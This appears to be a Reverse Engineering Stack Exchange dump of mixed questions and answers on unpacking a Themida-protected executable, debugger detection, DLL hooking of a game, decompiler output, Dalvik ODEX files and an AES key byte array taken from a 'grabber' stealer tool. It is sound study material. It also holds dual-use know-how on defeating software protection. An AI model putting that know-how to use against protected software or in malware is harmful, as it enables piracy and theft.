<p>Background: I have an application that has worked fine up until Windows 10 build 1511 but broke as of build 1607. It produces an access violation:</p> <pre><code>STACK_TEXT: 03799f54 00f91cfa 24d1ae78 0000000f 0000001f GDI32!ext-ms-win-gdi-internal-desktop-l1-1-0_NULL_THUNK_DATA_DLB+0xc22b WARNING: Stack unwind information not available. Following frames may be wrong. 0379a01c 01570000 00000000 00000000 00000023 THEEXE+0xb91cfa 0379a038 77015125 00000000 00000000 01ba0254 THEEXE+0x1170000 0379a088 00cd691c 0379afa8 016a5276 00000000 ntdll!RtlpAllocateHeapInternal+0x155 00000000 00000000 00000000 00000000 00000000 THEEXE+0x8d691c </code></pre> <p>Win10 1607 and higher have a change in GDI dll's, before there was only <code>gdi32.dll</code> and <code>GdiPlus.dll</code> but as of 1607 <code>gdi32.dll</code> is basically a stub for a new dll, <code>gdi32full.dll</code></p> <p>I want to understand why the app crashes and find a workaround. The fact that the exe is packed makes analyzing it with WinDbg, Ida Pro etc very difficult. PE ID tools suggest that the exe is packed with Themida (Themida v2.0.1.0 - v2.1.8.0 (or newer) + Hide PE Scanner Option).</p> <p>I tried to follow a tutorial involving OllyDBG and a script named <code>Themida - Winlicense Ultra Unpacker 1.4.txt</code> and although this seems to go a long way it does not result in a correct unpacked binary. The issue might be that some of the code is executing outside of the address space as defined in the PE sections because I get several errors like this:</p> <pre><code>Memory breakpoint range reduced: OllyDbg is unable to activate memory breakpoint on the whole specified address range (EA: ). Breakpoint is reduced to range 00401000..0086CFFF. </code></pre> <p>Also tried unthemida 2.0 and unthemida 3.0 but they hang after creating the process (which appears to be terminated). I'm looking for help or pointers on how to unpack the exe so I can analyze the crash.</p> <p>A free version of the software that has the same issue can be found <a href="https://www.sparxsystems.com/bin/EALite_111.exe" rel="nofollow noreferrer">here</a> (installer). The exe can be found here: <em>removed</em></p> <p>The crash can be reproduced by starting the application and click open on the supplied example project (EAExample.eap).</p>
How to debug / analyze a Themida protected binary
|ida|debugging|unpacking|anti-debugging|anti-dumping|
<p>In most cases the hash algorithm is known beforehand or can be guessed from a short list. For example, RSA signatures usually use some version of the PKCS standard which either specifies the hash or <a href="https://pkiglobe.org/pkcs7.html" rel="nofollow noreferrer">encodes it using ASN.1 format</a>.</p>
29179
2021-08-22T13:57:54.410
<p>I’ve been reading about digital signatures getting ready for some certification, and there is one question regarding this topic, that I don’t really understand.</p> <p>Let’s say that I receive a plaintext with digital signature. I use the public key of the sender to decrypt. Now I have a “pure” hash. In order to check if it’s coming from a legitimate person, I need to hash the plaintext on my own.</p> <p>But how do I know, which hashing algorithm has been used? Do I check the number of bits of the hashed function or something else?</p>
How to know which hashing algorithm is being used?
|cryptography|hash-functions|
<p><a href="https://www.waveshare.net/datasheet/ATMEL_PDF/AT24C512C.PDF" rel="nofollow noreferrer">https://www.waveshare.net/datasheet/ATMEL_PDF/AT24C512C.PDF</a></p> <pre><code>|---|---|---|---|---|---|---|---| A T M L H Y W W |---|---|---|---|---|---|---|---| 2 F C M @ |---|---|---|---|---|---|---|---| ATMEL LOT NUMBER |---|---|---|---|---|---|---|---| | PIN 1 INDICATOR (DOT) LINE 1: ATML=ATMEL H=MATERIAL SET/GRADE YWW=DATE CODE LINE 2: 2FC=AT24C512C, M=1.7 to 3.6V, @=COUNTRY OF ASSEMBLY LINE 3: ATMEL LOT NUMBER </code></pre>
29187
2021-08-24T04:02:23.190
<p>wondering if folks can help identify this chip.</p> <p><a href="https://i.stack.imgur.com/dqL6M.jpg" rel="nofollow noreferrer"><img src="https://i.stack.imgur.com/dqL6M.jpg" alt="ATMLH017" /></a></p> <p>It looks like</p> <pre><code>ATMLH017 2FCM CN ©2017AB4 </code></pre> <p>Googling all manner of permutations on these numbers has not been helpful. The chip appears next to an ATMEGA1284P.</p>
Identify unknown Atmel chip
|hardware|embedded|pcb|
<p>The pattern you describe sounds like the standard pattern for returning objects by value. So you are looking for</p> <pre><code>class A { B callee() { return B(); } void caller() { B b = callee(); } } </code></pre>
29202
2021-08-25T21:04:41.170
<p>Based on the assembler listings, a C++ object is locally allocated on the stack without constructing the object in the caller routine and the callee takes the address to the allocated stack space and invokes the constructor. How is this possible using C++? The compiler used is Watcom C/C++ 10.5 from 1995, from way before ISO C++98's arrival. The compiler uses Watcom's register calling convention so first argument is passed in EAX, second in EDX and return value is passed back in EAX. EBP is used as stack frame pointer.</p> <p>The caller function is a class A method which reserves space for a class B locally allocated object on the stack frame. Even though the class B object resides on a dword only it is a complex object that internally allocates lots of stuff to the heap when the constructor is called. It is similar to a smart pointer to a smart object. Any ways what I wanted to highlight is that class B is far from a simple struct. ObjectA on the stack frame is class A's <code>this</code> pointer passed to the Caller method in EAX. The caller sets up the arguments to callee. Callee's second argument is an address to the ObjectB stack space.</p> <p>Caller function:</p> <pre><code>MethodCaller_ proc near ObjectB = dword ptr -8 ObjectA = dword ptr -4 push 32 call __CHK push ebx push ecx push esi push edi push ebp mov ebp, esp sub esp, 8 mov [ebp+ObjectA], eax lea edx, [ebp+ObjectB] mov eax, [ebp+ObjectA] call MethodCallee_ ... </code></pre> <p>The callee function is also a class A method so first argument is the <code>this</code> pointer. The second argument is the address to a memory space which is passed to the constructor of class B. The construction is not based on assignment and copy constructor, it is a call to the default (implicit?) constructor of class B without allocating memory for the object being constructed.</p> <p>Callee function:</p> <pre><code>MethodCallee_ proc near ObjectA = dword ptr -8 ObjectB = dword ptr -4 push 32 call __CHK push ebx push ecx push esi push edi push ebp mov ebp, esp sub esp, 8 mov [ebp+ObjectA], eax mov [ebp+ObjectB], edx mov eax, [ebp+ObjectB] call ObjectB_Ctor_ mov eax, [ebp+ObjectB] mov esp, ebp pop ebp pop edi pop esi pop ecx pop ebx retn MethodCallee_ endp </code></pre> <p>The assembly listings are generated by IDA Freeware 7.0.</p> <p>The following statements can be made:</p> <ul> <li>Operator new is not used to allocate the class B object onto the stack.</li> <li>The placement new operator is not used within the callee function to omit allocation at construction. That would have generated totally different code and would have emitted a dummy like operator new for the placement new use case.</li> <li>In 1995 there was no std::allocator and any ways it would also require placement new.</li> <li>I do not think that the original authors simply created a dword and casted it as I assume as professionals they should have known about dangers of violating stack and object alignment rules as well as I do not think that they called directly the constructors in some wicked ways.</li> <li>I tried a lot of stuff to replicate the C++ code and build it again in Watcom C/C++ 10.5 compiler in MS-DOS to get to the same disassembly listing or one that is close to the original, but utterly failed.</li> </ul> <p>The construct is used in a lot of places within the original program, redesigning the code base would be very difficult.</p> <p>Any new ideas would be highly welcome, thanks in advance for any help.</p>
What C++ construct could emit such Watcom C++ 10.5 assembler listing?
|assembly|c++|
<p>You probably didn't catch that CStr is a variable in another class. This should be how it looks like from the data I can see.</p> <pre><code>class CStr { int placeholder[2]; // unknown 0x8 bytes char* somestring; } class some1 { int placeholder; // unknown 0x4 bytes CStr* cstr; } </code></pre> <p><code>char* ptr = &amp;(some1-&gt;cstr-&gt;somestring)</code> would result in the pseudocode you see generated</p> <pre><code>*(char **)(*(int *)(this + 4) + 8); </code></pre> <p>EDIT : update after OP posted new pseudocode I should say first that I don't actually use Ghidra, so I am not very familiar with its pseudocode syntax and reliability(in how accurately it translated the asm code to pseudocode). I would suggest that you dont always trust what you see in the pseudocode, because it won't always be accurate, especially when it comes to the handling of registers and stack (frames).</p> <p>Here's my take based on the information you gave. Not sure how helpful it is to what your finding exactly, but i'll just write my analysis based on what I see.</p> <pre><code>CStr::CStr((CStr *)&amp;this-&gt;field_0x4); // could be labeled as &quot;cstring&quot;? </code></pre> <p>If Ghirda accurately converted the type, then yes you can just take <code>field_0x4</code> to be <code>CStr</code>. Its hard to say that based on just one line of code though, so lets look further.</p> <pre><code>// CMachineController::Init() ... bVar3 = CConfig::HasValue(pCVar8,s_AutoStart_10056dc4); if (bVar3 != false) { CConfig::GetValue(this-&gt;config,(char *)aCStack20); CStr::CStr((CStr *)&amp;stack0xffffffd0,aCStack20); (**(code **)(**(int **)&amp;this-&gt;field_0x18 + 0x14))(); CStr::~CStr(aCStack20); } ... </code></pre> <p>This line is retrieving some sort of config value ? or config string, before storing it into <code>aCStack20</code></p> <pre><code>CConfig::GetValue(this-&gt;config,(char *)aCStack20); </code></pre> <p>Take a look at the code below.</p> <pre><code> CStr::CStr((CStr *)&amp;stack0xffffffd0,aCStack20); (**(code **)(**(int **)&amp;this-&gt;field_0x18 + 0x14))(); CStr::~CStr(aCStack20); </code></pre> <p>Notice how the function call doesn't have any parameters? Although the line before seems to manipulate/create a CStr instance and destroys it right after?</p> <pre><code> (**(code **)(**(int **)&amp;this-&gt;field_0x18 + 0x14))(); </code></pre> <p>If a data is manipulated, it is meant to be used. Otherwise, there is no need to manipulate the data. Hence, it is likely that</p> <pre><code> CStr::CStr((CStr *)&amp;stack0xffffffd0,aCStack20); </code></pre> <p>Is copying <code>aCStack20</code> into <code>stack0xffffffd0</code>.</p> <p>Currently we see that there are to ways to initialize a <code>CStr</code> class</p> <pre><code>CStr::CStr((CStr *)&amp;this-&gt;field_0x4); // CStr(CStr* callervar) - perhaps initialize with some default values? CStr::Cstr((CStr *)&amp;stack0xffffffd0,aCStack20); // CStr(CStr* copyto, CStr* copyfrom) - initialize copyto with copyfrom ? </code></pre> <p>When you said</p> <blockquote> <p>make significat progress in determining what the fields of the objects are, sadly :(</p> </blockquote> <p>Are you referring to the <code>CStr</code> class? Or <code>&amp;this-&gt;field_0xOFFSET</code>? At this point we still do not actually know what the <code>int placeholder[2] // unknown 0x8 bytes</code> is. But my guess is probably data relating to the string, e.g size of string, type of string, what the string is used for / what does it represent and so on. It may just be easier to debug the program and see what values are at the first 8 bytes of the <code>CStr</code> instance.</p>
29227
2021-08-28T22:08:32.833
<p>While looking at <em>that</em> old game I've found a class <code>CStr</code> that is used in an unusual (to me) manner. Most of the times a member of <code>CStr</code> is used, it's done as follows. In both cases, <code>this</code> is a <code>CStr *</code>.</p> <p>Decompilation:</p> <pre><code>pcVar6 = *(char **)(*(int *)(this + 4) + 8); // pcVar6 is then used </code></pre> <p>Disassembly</p> <pre><code>// since the func is a __thiscall, ECX contains &quot;this&quot; MOV ESI ,ECX MOV EAX ,dword ptr [ESI + 0x4] MOV EDI ,dword ptr [EAX + 0x8] // EDI is then used </code></pre> <p>This strikes me as odd. If one of the members of <code>CStr</code> is a char array, why isn't it just a single offset? I'm thinking that this has something to do with inheritance, but I'm lacking experience with that to be certain.</p> <p>For context, this particular member seems to be a C string. The code comes from a Win32 DLL.</p> <p>How do I interpret this correctly? And how do I tell Ghidra how to interpret this?</p> <h2>EDIT: More examples</h2> <p>I put a lot more here at first, but deleted everything that isn't a case where the CStr object itself is used. It's just a lot more of the line already posted and I doubt that it'll clear anything up. Also, I'm yet to make significat progress in determining what the fields of the objects are, sadly :(</p> <hr> <p>Example of CStr being used in constructor. <code>this</code> is a CMachineController here.</p> <pre><code>// CMachineController::CMachineController CStr::CStr((CStr *)&amp;this-&gt;field_0x4); // could be labeled as &quot;cstring&quot;? </code></pre> <hr> Part of a longer function. It seems to acquire an instance by reading a config object, then does some manipulation and destroys the CStr. Var types as follows: - bool bVar3; - CConfig* pcVar8; - CStr aCStack20[8]; - undefined4 local4; (a 4-byte-wide number of some kind) - stack0xff... is created by (`MOV this, ESP / MOV dword ptr [ESP+0x3c], ESP`) - CMachineController* this; <pre><code>// CMachineController::Init() ... bVar3 = CConfig::HasValue(pCVar8,s_AutoStart_10056dc4); if (bVar3 != false) { CConfig::GetValue(this-&gt;config,(char *)aCStack20); CStr::CStr((CStr *)&amp;stack0xffffffd0,aCStack20); (**(code **)(**(int **)&amp;this-&gt;field_0x18 + 0x14))(); CStr::~CStr(aCStack20); } ... </code></pre> <p>Without any more info on what would be considered useful, this is the best I can think of atm.</p>
How do I interpret this double offset?
|windows|x86|c++|static-analysis|
<p>A class I extracted from Dalvik cache (<code>classes.dex</code>):</p> <pre><code>if-ne v0 v9 :label_7 const/4 v0 0 label_7: const/4 v1 0 const/4 v2 -1 if-ne v0 v2 :label_14 return v1 label_14: const/4 v3 0 const/4 v4 -1 label_16: if-eq v0 v2 :label_91 if-ge v3 v5 :label_91 aget v5 v5 v0 if-ne v5 v6 :label_81 if-ne v0 v1 :label_41 aget v1 v1 v0 goto :label_47 label_41: aget v3 v1 v0 aput v3 v1 v4 label_47: if-eqz v10 :label_54 label_54: add-int/lit8 v10 v10 -1 add-int/lit8 v9 v9 -1 aput v2 v9 v0 if-eqz v9 :label_76 label_76: aget v9 v9 v0 return v9 label_81: aget v4 v4 v0 add-int/lit8 v3 v3 1 move v7 v4 move v4 v0 move v0 v7 goto :label_16 label_91: return v1 </code></pre> <p>Exactly the same class extracted from the ODEX file of the app (not from the Dalvik cache):</p> <pre><code>iget-object v0 v8 Landroidx/constraintlayout/solver/ArrayLinkedVariables;-&gt;e:Landroidx/constraintlayout/solver/SolverVariable; if-ne v0 v9 :label_7 const/4 v0 0 iput-object v0 v8 Landroidx/constraintlayout/solver/ArrayLinkedVariables;-&gt;e:Landroidx/constraintlayout/solver/SolverVariable; label_7: iget v0 v8 Landroidx/constraintlayout/solver/ArrayLinkedVariables;-&gt;i:I const/4 v1 0 const/4 v2 -1 if-ne v0 v2 :label_14 return v1 label_14: const/4 v3 0 const/4 v4 -1 label_16: if-eq v0 v2 :label_91 iget v5 v8 Landroidx/constraintlayout/solver/ArrayLinkedVariables;-&gt;a:I if-ge v3 v5 :label_91 iget-object v5 v8 Landroidx/constraintlayout/solver/ArrayLinkedVariables;-&gt;f:[I aget v5 v5 v0 iget v6 v9 Landroidx/constraintlayout/solver/SolverVariable;-&gt;a:I if-ne v5 v6 :label_81 iget v1 v8 Landroidx/constraintlayout/solver/ArrayLinkedVariables;-&gt;i:I if-ne v0 v1 :label_41 iget-object v1 v8 Landroidx/constraintlayout/solver/ArrayLinkedVariables;-&gt;g:[I aget v1 v1 v0 iput v1 v8 Landroidx/constraintlayout/solver/ArrayLinkedVariables;-&gt;i:I goto :label_47 label_41: iget-object v1 v8 Landroidx/constraintlayout/solver/ArrayLinkedVariables;-&gt;g:[I aget v3 v1 v0 aput v3 v1 v4 label_47: if-eqz v10 :label_54 iget-object v10 v8 Landroidx/constraintlayout/solver/ArrayLinkedVariables;-&gt;b:Landroidx/constraintlayout/solver/ArrayRow; invoke-virtual {v9,v10} Landroidx/constraintlayout/solver/SolverVariable;-&gt;b(Landroidx/constraintlayout/solver/ArrayRow;)V label_54: iget v10 v9 Landroidx/constraintlayout/solver/SolverVariable;-&gt;i:I add-int/lit8 v10 v10 -1 iput v10 v9 Landroidx/constraintlayout/solver/SolverVariable;-&gt;i:I iget v9 v8 Landroidx/constraintlayout/solver/ArrayLinkedVariables;-&gt;a:I add-int/lit8 v9 v9 -1 iput v9 v8 Landroidx/constraintlayout/solver/ArrayLinkedVariables;-&gt;a:I iget-object v9 v8 Landroidx/constraintlayout/solver/ArrayLinkedVariables;-&gt;f:[I aput v2 v9 v0 iget-boolean v9 v8 Landroidx/constraintlayout/solver/ArrayLinkedVariables;-&gt;k:Z if-eqz v9 :label_76 iput v0 v8 Landroidx/constraintlayout/solver/ArrayLinkedVariables;-&gt;j:I label_76: iget-object v9 v8 Landroidx/constraintlayout/solver/ArrayLinkedVariables;-&gt;h:[F aget v9 v9 v0 return v9 label_81: iget-object v4 v8 Landroidx/constraintlayout/solver/ArrayLinkedVariables;-&gt;g:[I aget v4 v4 v0 add-int/lit8 v3 v3 1 move v7 v4 move v4 v0 move v0 v7 goto :label_16 label_91: return v1 </code></pre> <p>Turns out that the app displayed correctly everything.</p> <p>As you can see, the ODEX file contains the invocations I was looking for. It seems like the ODEX file is identical to the <code>classes.dex</code> in the APK. I also tested and found that when the application used a <code>classes.dex</code> (not <code>.odex</code>), a process called <code>dexopt</code> runs before the app opens, and in my opinion I think that it fetches those invocations and maybe more data from the <code>classes.dex</code> inside the APK.</p> <p>That's why I noticed that the odexed app launched faster than when it was deodexed. From many articles I read, they stated that ODEX files are like a copy of the app, and when launching, no further data needs to be extracted from the application.</p> <p>Anyway, maybe this question was irrelevant since DVM is becoming obsolete (or has become) as from Android 5 ART has replaced it.</p> <p>By the way, this <code>.dex</code> file is from a different app from the one I used in the question.</p>
29262
2021-09-08T00:32:43.107
<p>This is original smali code of a classes.dex method before installation</p> <pre><code>.method public static createAutoMatchCriteria(IIJ)Landroid/os/Bundle; .registers 6 new-instance v0, Landroid/os/Bundle; invoke-direct {v0}, Landroid/os/Bundle;-&gt;&lt;init&gt;()V const-string v1, &quot;min_automatch_players&quot; invoke-virtual {v0, v1, p0}, Landroid/os/Bundle;-&gt;putInt(Ljava/lang/String;I)V const-string p0, &quot;max_automatch_players&quot; invoke-virtual {v0, p0, p1}, Landroid/os/Bundle;-&gt;putInt(Ljava/lang/String;I)V const-string p0, &quot;exclusive_bit_mask&quot; invoke-virtual {v0, p0, p2, p3}, Landroid/os/Bundle;-&gt;putLong(Ljava/lang/String;J)V return-object v0 .end method </code></pre> <p>This is edited smali code of a classes.dex method before installation</p> <pre><code>.method public static createAutoMatchCriteria(IIJ)Landroid/os/Bundle; .registers 6 new-instance v0, Landroid/os/Bundle; invoke-direct {v0}, Landroid/os/Bundle;-&gt;&lt;init&gt;()V const-string v1, &quot;min_automatch_players&quot; const/4 p0, 0x2 invoke-virtual {v0, v1, p0}, Landroid/os/Bundle;-&gt;putInt(Ljava/lang/String;I)V const-string p0, &quot;max_automatch_players&quot; const/16 p1, 0x14 invoke-virtual {v0, p0, p1}, Landroid/os/Bundle;-&gt;putInt(Ljava/lang/String;I)V const-string p0, &quot;exclusive_bit_mask&quot; invoke-virtual {v0, p0, p2, p3}, Landroid/os/Bundle;-&gt;putLong(Ljava/lang/String;J)V return-object v0 .end method </code></pre> <p>This is the same method but of the classes.dex extracted from dalvik cache.</p> <pre><code>.method public static createAutomatchCriteria(IIJ)Landroid/os/Bundle .registers 6 new-instance v0 Landroid/os/Bundle; invoke-direct {v0} Landroid/os/Bundle;-&gt;&lt;init&gt;()V const-string v1 &quot;min_automatch_players&quot; const/4 v2 0x2 const-string v2 &quot;max_automatch_players&quot; const/16 v3 0x14 const-string v2 &quot;exclusive_bit_mask&quot; return-object v0 </code></pre> <p>Where did the virtual invocations after those integer constants go? Am i missing something? Or does dalvik store those invocations somewhere else?</p>
why does dalvik remove invocations during optimisation?
|decompilation|android|byte-code|dalvik|
<p>x64dbg can load the pdb and list all the function names if you have pdb for your executable</p> <p>view-&gt;modules-&gt;download symbols for this module <a href="https://i.stack.imgur.com/Zk34H.png" rel="nofollow noreferrer"><img src="https://i.stack.imgur.com/Zk34H.png" alt="enter image description here" /></a> also x64dbg can use the source file (ctrl+shift+s) <a href="https://i.stack.imgur.com/1JiC5.png" rel="nofollow noreferrer"><img src="https://i.stack.imgur.com/1JiC5.png" alt="enter image description here" /></a></p> <p>just for completion sake windbg usage</p> <pre><code>:\&gt;cdb -c &quot;.lines;bp `winchk.cpp:17`&quot; winchk.exe Microsoft (R) Windows Debugger Version 10.0.17763.132 AMD64 CommandLine: winchk.exe ntdll!LdrpDoDebuggerBreak+0x30: 00007ffa`055f108c cc int 3 0:000&gt; cdb: Reading initial command '.lines;bp `winchk.cpp:17`' Line number information will be loaded 0:000&gt; bl 0 e 00007ff7`ad0f1090 0001 (0001) 0:**** winchk!main 0:000&gt; g Breakpoint 0 hit winchk!main: 00007ff7`ad0f1090 4883ec38 sub rsp,38h 0:000&gt; </code></pre> <p>you can use the dbh.exe in windbg installation folder to rebase and get exact address</p> <pre><code>winchk [1000000]: x * index address name 1 1001090 : main 3 1001060 : atest 5 1001000 : ctest 6 1001030 : btest winchk [1000000]: base 0x400000 winchk [400000]: x * index address name 1 401090 : main 3 401060 : atest 5 401000 : ctest 6 401030 : btest winchk [400000]: </code></pre>
29264
2021-09-08T09:22:57.527
<p>Suppose I have self-compiled exe-file (aka portable executable), its source (c/c++) and generated pdb-file. And what if I want to get offset of its function (non-winapi function) in debugger (x64dbg, whatever) to set breakpoint on it? I would like to know/learn about existing reversing techniques to do it.</p>
How to get offset of specific function in exe?
|debugging|x64dbg|executable|x86-64|
<p>Pretty sure <code>System.Diagnostics.Debugger.IsAttached</code> detects only managed debuggers, whereas the code you mentioned <code>CheckRemoteDebuggerPresent</code>, should work on any kind of debugger, provided there is no anti-anti-debugging protection applied. Managed debuggers, refer to those such as your .net managed debugger.</p> <p>Note that <a href="https://docs.microsoft.com/en-us/windows/win32/api/debugapi/nf-debugapi-checkremotedebuggerpresent" rel="nofollow noreferrer">CheckRemoteDebuggerPresent</a>, when the handle is set to the current process, is essentially the same as <a href="https://docs.microsoft.com/en-us/windows/win32/api/debugapi/nf-debugapi-isdebuggerpresent" rel="nofollow noreferrer">IsDebuggerPresent</a></p> <p>IsDebuggerPresent is the simplest way to check if a debugger is attached to your process, but also the easiest debugging detection technique to bypass.</p> <p>You can checkout this article for a list of some of the common techniques used (there are many ways to detect !) : <a href="https://www.apriorit.com/dev-blog/367-anti-reverse-engineering-protection-techniques-to-use-before-releasing-software" rel="nofollow noreferrer">https://www.apriorit.com/dev-blog/367-anti-reverse-engineering-protection-techniques-to-use-before-releasing-software</a></p>
29276
2021-09-11T17:40:49.617
<p>I am writing my own applications to practice reversing. I want to be able to detect debuggers and change the execution in response.</p> <p>When building the application, I am easily able to detect it is being debugged with <code>System.Diagnostics.Debugger.IsAttached</code> or kernel32.dll's <code>CheckRemoteDebuggerPresent</code>method.</p> <pre><code>if (System.Diagnostics.Debugger.IsAttached) { //code if being debugged } </code></pre> <p>When I debug my release in x64dbg though, the debugger is not detected. Is there a way to detect this?</p>
How can I detect if my application is running in x64debug?
|x64dbg|anti-debugging|c#|
<p>In regards to the discussion above in the Comments section. As I've mentioned, I have figured out the hooking part, even though it is not fully working yet with the main application.</p> <p>Here is the solution:</p> <p>game.cpp</p> <pre><code>#include &quot;game.h&quot; #include &lt;array&gt; namespace gladius { static std::array&lt;Game, 1&gt; functions = { { // Steam Game{ (Game::GameMain)0x140039ea0, (Game::Initialize)0x140033e20, (Game::Quit)0x14003a0e0 }, } }; Game&amp; get() { return functions[0]; } } </code></pre> <p>hooks.cpp</p> <pre><code>#include &quot;hooks.h&quot; #include &quot;game.h&quot; namespace hooks { Hooks getHooks() { Hooks hooks{ HookInfo{(void**)&amp;gladius::get().gamemain, gamemainHooked}, }; return hooks; } Hooks getVftableHooks() { Hooks hooks; return hooks; } int __fastcall gamemainHooked(gladius::Game* thisptr, int param_1, char** param_2, char** param_3) { gladius::get().initialize(thisptr, param_1, param_2, param_3); gladius::world::World::CreateWorld(*(gladius::world::World**)(*(long long*)(thisptr + 0x5e8) + 0x50)); gladius::get().quit(thisptr); return gladius::get().gamemain(thisptr, param_1, param_2, param_3); } </code></pre> <p>hooks.h</p> <pre><code>#pragma once #ifndef HOOKS_H #define HOOKS_H #include &lt;string&gt; #include &lt;utility&gt; #include &lt;vector&gt; #include &quot;game.h&quot; namespace hooks { using HookInfo = std::pair&lt;void**, void*&gt;; using Hooks = std::vector&lt;HookInfo&gt;; /** Returns array of hooks to setup. */ Hooks getHooks(); Hooks getVftableHooks(); int __fastcall gamemainHooked(gladius::Game* thisptr, int param_1, char** param_2, char** param_3); } // namespace hooks #endif // HOOKS_H </code></pre> <p>The problem I found with this kind of work, there is a very scarce set of information and examples on the topic.</p> <p>I will probably endeavour on writing wiki page with the examples and explanations on how it is done, once I am convinced that this is working.</p> <p>Because for me personally it would be so much easier if there are simple and comprehensive examples on how it can be done.</p> <p>The same goes to vtable pointers. I mean, may be it is just me, but is there some source, where I can check different a simple examples of how exactly it is done for the complex programs, not for &quot;Hello World!&quot; apps? Because the later ones tend to reverse the entire code and what I need is a mixture of the reversed and original code working together...</p>
29290
2021-09-14T19:01:23.760
<p>I have bits of code which decompiles a small part of the existing program. I have added it to the proxy dll. The code to the existing functions is hooked through Detour and looks like below (gui.h and gui.cpp)</p> <p>But now how do I call my own implementation of the gamemain function? Can someone may be point me to an existing post(s) where calling proxy dll replaced functions is described in detail.</p> <p>Or / And if you don't mind spending time looking at the code below, I would appreciate the tips on how to make it work in the similar structure to the one I am using or may be there is another solution I should be considering.</p> <p>Note, I do know the address for the gamemain function in the original exe.</p> <p>gui.h</p> <pre><code>#pragma once #include &quot;world.h&quot; namespace gladius { namespace gui { //struct gladius::world::World* __fastcall getworld(); struct GUI { //gladius::world::World* __fastcall gladius::gui::GUI::getWorld(gladius::gui::GUI* thisptr); using GetWorld = gladius::world::World* (__fastcall*) (GUI* thisptr); GetWorld getWorld; }; GUI&amp; get(); } //namespace gui } </code></pre> <p>gui.cpp</p> <pre><code>#include &quot;world.h&quot; #include &quot;gui.h&quot; #include &lt;array&gt; namespace gladius { namespace gui { static std::array&lt;GUI, 1&gt; functions = { { // Steam GUI{ (GUI::GetWorld)0x140b81074, }, } }; GUI&amp; get() { return functions[0]; } } } </code></pre> <p>This works. But now I want to change another function and replace it with my implementation. I.e. the function looks like this:</p> <p>game.h</p> <pre><code>#pragma once #include &quot;world.h&quot; #include &quot;game.h&quot; #include &quot;gui.h&quot; namespace gladius { struct Game { //virtual int __thiscall main(gladius::Game* thisptr, int param_1, char** param_2, char** param_3); int __thiscall gladius::Game::gamemain(gladius::Game* thisptr, int param_1, char** param_2, char** param_3) { gladius::gui::GUI guiInst; gladius::world::World worldInst; gladius::Game::initialize(this, param_1, param_2, param_3); // proxy::gui::GUI::run(*(GUI**)(this + 0x28)); //worldInst = gladius::gui::GUI::getWorld(*(gladius::gui::GUI**)(this + 0x88)); gladius::world::World::CreateWorld(*(gladius::world::World**)(*(long long *)(this + 0x5e8) + 0x50)); gladius::Game::quit(this); return 0; } void __fastcall gladius::Game::initialize(gladius::Game* thisptr, int a2, char** a3, char** a4); void __fastcall gladius::Game::quit(gladius::Game* thisptr); }; } </code></pre>
How to call your version of the existing function using proxy dll?
|c++|dll-injection|program-analysis|
<p>Expanding the comment by Rolf Rolles: Your computer (and most other computers manufactured in the last 30 years) stores and processes information in the form of sequences of numbers between 0 and 255. Each of these numbers is called a byte. There is a standard mapping from printable standard Latin letters, digits and some special characters to the numbers 32 to 126. This mapping is called &quot;ASCII&quot; and is used up to today. While we have far more characters today, the numbers 32 to 126 still have the same meaning in the Unicode character set. An encryption key is just any sequence of 16 bytes, which might contain numbers that correspond to letters, but all other numbers are allowed, too. If you want to print the key, you need to find some way to make printable characters from those 16 bytes. One way is already given in your question: Format each byte as decimal number between 0 and 255, and place commas between them to separate the characters. We call such a method &quot;encoding of bytes to printable strings&quot;. Printing each byte as decimal number like here is a very simple and understandable concept, but it wastes a lot of space. There are common more compact encodings like &quot;hex&quot; (needs two character per byte) or base64 (needs four characters for three bytes).</p> <p>In Python, you can get a &quot;bytes&quot; object by calling &quot;key=bytes ([1,2,3,4,...])&quot;, which can then be printed as hex using &quot;print(key.hex())&quot; or as base64 using &quot;print(base64.b64encode(key))&quot;. You need to import the base64 module for that, using &quot;import base64&quot;.</p>
29300
2021-09-17T20:00:18.107
<p>There is this grabber called Itroublve grabber, which a lot of people use, and I wondered what it's aes encryption key is, so I looked at the code, and I found this:</p> <pre><code> Key = new byte[] { 88, 105, 179, 95, 179, 135, 116, 246, 101, 235, 150, 231, 111, 77, 22, 131 } </code></pre> <p>My question is, how can I decode these numbers back to a string?</p>
Decode byte numbers into string
|malware|c#|
<p>The CPU actually turned out to be an AC1082 from JL: it's intended for the MP3 player market. It's an 8051 clone with (I think) 8 kB of RAM and a combined XDATA/CODE address space, allowing it to run code out of RAM; plus, it's got a really good set of 16-bit extension instructions which include direct XDATA access using an address in a register pair, so you don't have to indirect through DPTR. It looks like a really interesting thing.</p> <p>It's not documented as such that anyone can find, but <a href="https://github.com/gitzzc/JieLi" rel="nofollow noreferrer">here is an SDK for it</a>. It's got macros for generating the extended instructions, but there's no documentation on what they actually do and some of them aren't obvious. I'm still trying to get my hands on hardware to actually do some testing with.</p> <p>You can find the reverse engineering effort in the Reddit thread <a href="https://old.reddit.com/r/BigCliveDotCom/comments/pmt390/buddha_machine_teardown_with_flash_dump" rel="nofollow noreferrer">here</a>.</p>
29301
2021-09-18T09:49:59.390
<p>I'm helping reverse engineer a small embedded device. We've successfully extracted some code fragments, which have been identified as 8051 machine code. However, it's using some kind of instruction set extension using a 0xa5 opcode prefix. I know this is used by several different instruction set extensions, so I need to look these up and see which ones make sense.</p> <p>So far I've found and ruled out:</p> <ul> <li>Philips/NXP 51MX</li> <li>Intel MCS-251</li> </ul> <p>What others are there?</p> <p>For interest value, here are some of the extended instructions:</p> <pre><code> 0023 A5 DB 85h ; illegal opcode 0024 6130 AJMP L0002 005F A5 DB 85h ; illegal opcode 0060 817C AJMP L0010 0065 A5 DB 85h ; illegal opcode 0066 00 NOP 0068 A5 DB 85h ; illegal opcode 0069 A674 MOV @R0, 74h </code></pre>
What 8051 instruction extensions are there?
|8051|
<p>Some research into the <code>atexit</code> module provided a simple solution. Create a plugin purely to trigger the <code>atexit</code> handlers when it receives a <code>term</code>.</p> <pre><code>import atexit import idc import ida_idaapi class ida_atexit(ida_idaapi.plugin_t): flags = ida_idaapi.PLUGIN_UNL comment = &quot;atexit&quot; help = &quot;triggers atexit._run_exitfuncs() when ida halts plugins&quot; wanted_name = &quot;&quot; wanted_hotkey = &quot;&quot; def init(self): super(ida_atexit, self).__init__() return ida_idaapi.PLUGIN_KEEP def run(*args): pass def term(self): idc.msg('[ida_atexit::term] calling atexit._run_exitfuncs()\n') atexit._run_exitfuncs() def PLUGIN_ENTRY(): globals()['instance'] = ida_atexit() return globals()['instance'] </code></pre>
29318
2021-09-22T10:57:29.827
